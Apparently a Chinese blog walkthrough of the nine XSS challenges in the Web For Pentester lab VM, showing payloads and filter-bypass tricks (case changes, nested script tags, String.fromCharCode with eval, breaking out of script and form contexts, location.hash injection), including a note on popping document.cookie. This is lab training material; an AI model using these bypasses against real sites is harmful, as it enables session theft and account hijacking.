本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。

关于靶机搭建参考这篇文章:渗透测试靶机的搭建

第1题(无过滤措施)

首先在后面输入xss:

http://10.211.55.16/xss/example1.php?name=xss

看到如下页面:



然后查看下源码:



感觉这里没有任何的防御措施,忍不住笑出了声。



有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。

利用基本的script标签来弹窗

Payload

<script>alert('xss')</script>

定义和用法

script 标签用于定义客户端脚本,比如 JavaScript。

效果图

利用iframe标签的的src属性来弹窗

Payload

<iframe src=javascript:alert('xss')></iframe>

定义和用法

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。

效果图

利用标签的href属性来弹窗

Payload

<a href=javascript:alert('xss')>ggtest</a>

这里就是超链接到了:javascript:alert('xss')

效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的

这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的cookie

定义和用法

标签定义超链接,用于从一张页面链接到另一张页面。

元素最重要的属性是 href 属性,它指示链接的目标。

指向国光博客的一个例子:

<a href="http://git.sqlsec.com”>国光博客</a>

效果图

利用标签来弹窗

Payload

<img src=1 onerror=alert('xss')>

这里的src后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为1不是一个正确的值,所以 触发了后面的 onerror事件(遇到错误 就触发)



当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。



src后面的值是正确的时候呢,这个还可以用 oneclick事件来触发弹窗

<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>

这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。



类似onerror和onclick的时间有很多种下面

列举出常见的事件

Windows事件属性

事件 作用
onerror 在错误发生时运行的脚本
onload 页面结束加载之后触发

Keyboard 事件

事件 作用
onkeydown 在用户按下按键时触发
onkeypress 在用户敲击按钮时触发
onkeyup 当用户释放按键时触发

鼠标(Mouse)事件

事件 作用
onclick 元素上发生鼠标点击时触发
onmousedown 当元素上按下鼠标按钮时触发
onmousemove 当鼠标指针移动到元素上时触发。
onmouseover 当鼠标指针移动到元素上时触
onmouseout 当鼠标指针移出元素时触发
onmouseup 当在元素上释放鼠标按钮时触发

定义和用法

img 元素向网页中嵌入一幅图像。

请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。 标签创建的是被引用图像的占位空间。

标签有两个必需的属性:src 属性 和 alt 属性

凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就

列举出一些支持事件的HTML常见标签

标签 作用
a 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标
article 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发
audio 定义声音,比如音乐或其他音频流
b 规定粗体文本
body 定义文档的主体,包含文档的所有内容
br 只是简单地开始新的一行
button 定义一个按钮
iframe 会创建包含另外一个文档的内联框架
img 向网页中嵌入一幅图像
select 可创建单选或多选菜单
style 用于为 HTML 文档定义样式信息
textarea 标签定义多行的文本输入控件
video 定义视频,比如电影片段或其他视频流

第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个

综合点的payload

http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')>  移动到元素触发xss  </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>

第2题(大小写转换)

这一题的话, 除了<script>alert('xss')</script>这个payload,其他用第一题中的其他payload:

<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...

依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>来试试看



查看下源码:



这里我们猜测过滤<script></script>

然后这里尝试下大小写转换,尝试着绕过过滤:

<Script>alert('xss')</scripT>

可以看到成功绕过了:

第3题(嵌套构造)

直接输入

<Script>alert('xss')</scripT>

发现大小写转换的这个套路已经不能够使用了



得到结论是:没有过滤alert('xss'),现在就把注意力集中在 <script></script>

Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。

http://10.211.55.16/xss/example3.php?name=<></>script<script>



可以看出过滤了:</script><script>

尝试构造输入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>



查看源码后发现成功构造出

<script>

于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

第4题(利用标签绕过)

直接输入:<script>alert('xss')</script>发现直接 error

于是再次出尝试输入:

http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>



再次得出结论:没有过滤<> </> alerrt('xss'),现在主要想办法对script做个处理来绕过过滤。

然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=

哎~~~放弃用这种形式的<script>alert('xss')</script>的payload了,于是乎使用下面的<img>标签成功绕过:

<img src=1 onerror=alert('xss')>

第5题(String.fromCharCode编码绕过)

首先执行:

<script>alert('xss')</script>

发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script></script>

只是过滤了:alert

利用火狐浏览器的hackbar插件对alert('xss')进行String.fromCharCode转换:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

第6题(闭合标签)

首先默认查看下源码:



发现我们输出的hacker作为了一个变量赋值给了a,并且这个变量在<script>这个标签中

这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>这个标签来弹窗了。

下面想办法闭合进行fuzz测试......

这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:

11";</script><img src=1 onerror=alert('xss')><script>



来查看下源码来简单的分析一下:


Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>&copy; PentesterLab 2013</p>
</footer>

pauyload最前面的

11";</script> 闭合了前面的<script>标签

最后面的

<script> 闭合了后面的<script>标签

中间的

<img src=1 onerror=alert('xss')>

用来触发 弹窗事件

第7题

首先来查看下源码:



感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:

 hacker';</script><img src=1 onerror=alert('xss')><script>

结果并没有弹窗,赶紧查看下源码压压惊:



可以看到对输入的 </>符号进行转义了,导致我们的弹窗失败。

所以现在的着重点就是 如何处理这些符号:

</>

然而我失败了,对这些符号进行转码也是失败了,后来想了好久终于知道问题所在了:

受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签

后来仔细想想,这个变量 就在<script>里面,可以在里面直接写alert('xss')来弹窗的,这样也就不需要使用

</>特殊符号了。这么看来的话,第6题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的....

http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="



查看下源码:


Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>&copy; PentesterLab 2013</p>
</footer>

这里 巧妙的利用了 ; 来在<script>标签里面执行alert('xss')

第8题

是一个输入框,然后输入payload:<img src=1 onerror=alert('xss')>;来试试看,查看源码:

HELLO &lt;img src=1 onerror=alert('xss')&gt;<form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/> <footer>
<p>&copy; PentesterLab 2013</p>
</footer>

发现也是对 < > 标签进行转义了,这里进行各种编码也没有绕过。

又是好久也没有成功突破,最后仔细看源码,发现突破点在于

<form action="/xss/example8.php"

这是第8题的URL,于是注意力转移到URL处,尝试在URL后面添加

http://10.211.55.16/xss/example8.php/

查看源码:



发现我们最后添加的 :/ 写在了<form>这个标签中,于是在这里进行fuzz测试,尝试闭合标签,最后构造的payload如下:

http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form

来查看下源码来分析刚刚构造的payload:

<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

可以看到这里

/"闭合了最前面的<form>

<form> 闭合了最后面的/>

中间的

<img src=1 onerror=alert('xss')> 触发了弹窗事件

第9题

这一题很特殊,不愧是大boss,这里首先查看下源码:



在源码中完全找不到hacker的任何字样,于是仔细百度最可疑的地方:

<script>
document.write(location.hash.substring(1));
</script>

找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html

这里可以大概看出这里是读取#后面的东西,于是乎简单的在#后面构造xss语句:

http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>

最后一道题目了,得录制个gif来庆祝一下:

小结

虽然这个平台只有9道题目,但是用心去整理拓展,发现可以学到很多xss的姿势,这样又把以前快忘记的xss姿势巩固提高了一下,更好的为不久后挖BAT的XSS漏洞做好基础知识的准备。

Pentester中的XSS详解的更多相关文章

  1. Asp.net中GridView使用详解(很全,很经典 转来的)

    Asp.net中GridView使用详解 效果图参考:http://hi.baidu.com/hello%5Fworld%5Fws/album/asp%2Enet中以gv开头的图片 l         ...

  2. Asp.net中GridView使用详解(引)【转】

    Asp.net中GridView使用详解(引) GridView无代码分页排序 GridView选中,编辑,取消,删除 GridView正反双向排序 GridView和下拉菜单DropDownList ...

  3. Asp.net中GridView使用详解(很全,很经典)

    http://blog.csdn.net/hello_world_wusu/article/details/4052844 Asp.net中GridView使用详解 效果图参考:http://hi.b ...

  4. php中关于引用(&)详解

    php中关于引用(&)详解 php的引用(就是在变量或者函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的变量名访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的 ...

  5. JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解

    二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...

  6. AngularJS select中ngOptions用法详解

    AngularJS select中ngOptions用法详解   一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...

  7. 【转载】C/C++中extern关键字详解

    1 基本解释:extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义.此外extern也可用来进行链接指定. 也就是说extern ...

  8. oracle中imp命令详解 .

    转自http://www.cnblogs.com/songdavid/articles/2435439.html oracle中imp命令详解 Oracle的导入实用程序(Import utility ...

  9. Android中Service(服务)详解

    http://blog.csdn.net/ryantang03/article/details/7770939 Android中Service(服务)详解 标签: serviceandroidappl ...

随机推荐

  1. Eclipse之相关快捷键

    Eclipse的编辑功能非常强大,掌握了Eclipse快捷键功能,能够大大提高开发效率.Eclipse中有如下一些和编辑相关的快捷键.    1.[ALT+/]   此快捷键为用户编辑的好帮手,能为用 ...

  2. [libwww-perl]——POST方法的使用

    libwww-perl是我在学习varnish的时候遇到的一个工具. 具体libwww-perl是干什么的,可以参考官网https://github.com/libwww-perl/libwww-pe ...

  3. 【黑金原创教程】 FPGA那些事儿《概念篇》

    简介一本讲述非软硬片上系统的书,另外还是低级建模的使用手册. 目录[黑金原创教程] FPGA那些事儿<概念篇>:File01 - 结构的玩笑[黑金原创教程] FPGA那些事儿<概念篇 ...

  4. 【BZOJ1217】[HNOI2003]消防局的设立 树形DP

    [BZOJ1217][HNOI2003]消防局的设立 Description 2020年,人类在火星上建立了一个庞大的基地群,总共有n个基地.起初为了节约材料,人类只修建了n-1条道路来连接这些基地, ...

  5. 使用python的logging模块(转)

    一.从一个使用场景开始 开发一个日志系统, 既要把日志输出到控制台, 还要写入日志文件 import logging # 创建一个logger logger = logging.getLogger(' ...

  6. 【Django错误】OSError: raw write() returned invalid length 14 (should have been between 0 and 7)

    错误环境 使用Django框架创建完models类的之后,用python manage.py migrate命令来生成数据库表的时候出错 错误代码 Operations to perform: App ...

  7. BBS项目部署

    1.准备 项目架构为:LNM+Python+Django+uwsgi+Redis   (L:linux,N:nginx,M:mysql) 将bbs项目压缩上传到:  /opt 在shell中直接拖拽 ...

  8. django模型:为已存在的表建立模型

    为已经存在的表建立模型:参考https://blog.csdn.net/opera95/article/details/78200024 为已经存在的表建立模型1.python manage.py i ...

  9. 用Html5制作的一款数学教学程序Function Graphics(绘制函数图的程序)

    最近我不仅对游戏开发感兴趣,还对函数图感兴趣,特此我开发了这个程序.以下是一些介绍和下载演示地址,喜欢的朋友可以看看: 一,产品名片 产品名:Function Graphics 版本: 0.1 开发者 ...

  10. composer是php包管理工具

    composer是 PHP 用来管理依赖(dependency)关系的工具.你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件. MAC.L ...